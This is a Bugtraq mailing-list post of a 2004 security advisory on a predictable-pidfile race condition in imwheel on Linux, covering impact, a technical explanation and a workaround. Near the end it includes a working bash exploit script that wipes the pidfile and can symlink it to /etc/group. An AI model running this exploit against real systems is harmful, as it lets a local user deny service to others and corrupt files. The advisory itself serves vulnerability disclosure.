CAU-2004-0002 - imwheel Predictable PidFile Name Race Condition

From: I)ruid (druid_at_caughq.org)
Date: 08/21/04

  • Next message: Valdis.Kletnieks_at_vt.edu: "Re: [Full-Disclosure] The 'good worm' from HP"
    To: bugtraq@securityfocus.com
    Date: Fri, 20 Aug 2004 18:52:29 -0500
    
    
    

                          ____ ____ __ __
                         / \ / \ | | | |
            ----====####/ /\__\##/ /\ \##| |##| |####====----
                       | | | |__| | | | | |
                       | | ___ | __ | | | | |
      ------======######\ \/ /#| |##| |#| |##| |######======------
                         \____/ |__| |__| \______/
                                                         
                        Computer Academic Underground
                            http://www.caughq.org
                              Security Advisory

    ===============/========================================================
    Advisory ID: CAU-2004-0002
    Release Date: 06/24/2004
    Title: imwheel Predictable PidFile Name Race Condition
    Application/OS: imwheel 1.0.0pre11 (Linux/X11)
    Topic: imwheel's behavior regarding a predictably named pidfile
                    introduces many security issues via a race condition.
    Vendor Status: Notified on 06/10/2004 via SourceForge, no response.
    Attributes: Denial of Service, Resource Exhaustion, Arbitrary File
                    Modification
    Advisory URL: http://www.caughq.org/advisories/CAU-2004-0002.txt
    Author/Email: I)ruid <druid@caughq.org>
    ===============/========================================================

    Overview
    ========

    imwheel exclusively uses a predictably named PID file for management of
    multiple imwheel processes. A race condition exists when the -k
    command-line option is used to kill existing imwheel processes. This
    race condition may be used by a local user to Denial of Service another
    user using imwheel, lead to resource exhaustion of the host system, or
    append data to arbitrary files.

    Impact
    ======

    Three separate issues may be inflicted by a successful race attack
    against the imwheel PID file.

    In the first case, a legitimate user may not be able to further use
    imwheel due to a malicious user taking control of the PID file. This
    will cause the imwheel process to be unable to write to the PID file and
    not start up properly. This case does not exist if imwheel is suid
    root or run by the root account, as those permissions will allow the PID
    to be written properly to the pidfile.

    In the second case, a malicious user may steal control of and constantly
    wipe the contents of the PID file, causing imwheel to be unable to
    detect and kill existing imwheel processes when it is started with the
    -k command-line option, eventually leading to resource exhaustion.

    In the third case, a malicious user may symlink the pidfile to an
    arbitrary file. If the permissions of the user running imwheel allows,
    imwheel will append it's PID to the arbitrary file, potentially causing
    corruption of data. The severity of this case is compounded if imwheel
    is suid root or run by the root account.

    Affected Systems
    ================

    imwheel is developed for the Linux operating system and is a tool to be
    used under the X window environment.

    Technical Explanation
    =====================

    imwheel uses a predictably named PID file to store process IDs of
    currently running imwheel processes. By default, this file is
    /tmp/imwheel.pid. If this file exists when imwheel starts, it appends
    it's PID to the file. If imwheel is started with the -k command-line
    option to kill all existing imwheel processes, imwheel calls the
    KillIMWheel() function in util.c to step through this file PID by PID,
    check via the /proc filesystem that the PID's name is imwheel, kill the
    process, then repeats for the remaining PIDs in the pidfile. When it
    has finished with each PID in the file, the file is unlinked, then re-
    created by the new process which writes it's PID to the file. This
    behavior creates a race condition where a malicious user may write to
    the pidfile during this time window. If imwheel is executed by a local
    user, this may prevent imwheel from starting properly if the pidfile's
    permissions do not allow the user to write to the pidfile, resulting in
    this error:

    ERROR: Couldn't write pid to pid file
      Perhaps you want the -p option to avoid this...
      Otherwise you may SUID root the imwheel executable.
    : Permission denied

    If the user executing imwheel does have permissions to write to the
    pidfile, imwheel will start properly, however the pidfile will still be
    owned by the malicious user, who may then wipe out the contents of the
    pidfile, causing further instances of imwheel run with the -k option to
    not properly shut down existing instances of imwheel, eventually causing
    resource exhaustion. Further, a malicious user could symlink the
    pidfile to any arbitrary file on the system, causing imwheel to append
    it's PID to the file, potentially causing corruption of data.

    Solution & Recommendations
    ==========================

    We are currently unaware of any vendor-provided solution to this issue.

    A workaround is to use imwheel's --pid|-p option to cause imwheel to run
    without checking or using PID files. This will prevent the local user
    DoS issue, however imwheel's --kill|-k option will not function
    properly.

    Exploitation
    ============

    Exploitation of this race condition is trivial with a shell script:

    #!/bin/bash
     
    # you may have to adjust the number of characters in the print to
    # get the timing correct for the injection. Fewer characters seems
    # to prevent this from working. Optionally, replacing the echo
    # with the symlink creation at the end of this script seems to work
    # fairly regularly.
    CHARCOUNT=4000
     
    echo `perl -e 'print "9" x $CHARCOUNT;'` > /tmp/imwheel.pid
    while [[ $? != 0 ]]; do
            echo `perl -e 'print "9" x $CHARCOUNT;'` > /tmp/imwheel.pid
    done
     
    # Wait for imwheel to write it's pid to the new file
    sleep 1
    # Wipe the contents of the PID file.
    echo > /tmp/imwheel.pid

    # Optionally, replace the new file with a link
    # rm /tmp/imwheel.pid
    # ln -s /etc/group /tmp/imwheel.pid
     
    echo "Exploit Successful!!!"

    References
    ==========

    IMWheel - http://imwheel.sourceforge.net/

    Notes
    =====

    This advisory has been submitted to BugTraq repeatedly, each time
    returned with the apparently customary 'no action has been taken on your
    post' message, therefore this advisory has been cross-posted to other
    lists.

    
    



  • Next message: Valdis.Kletnieks_at_vt.edu: "Re: [Full-Disclosure] The 'good worm' from HP"

    Relevant Pages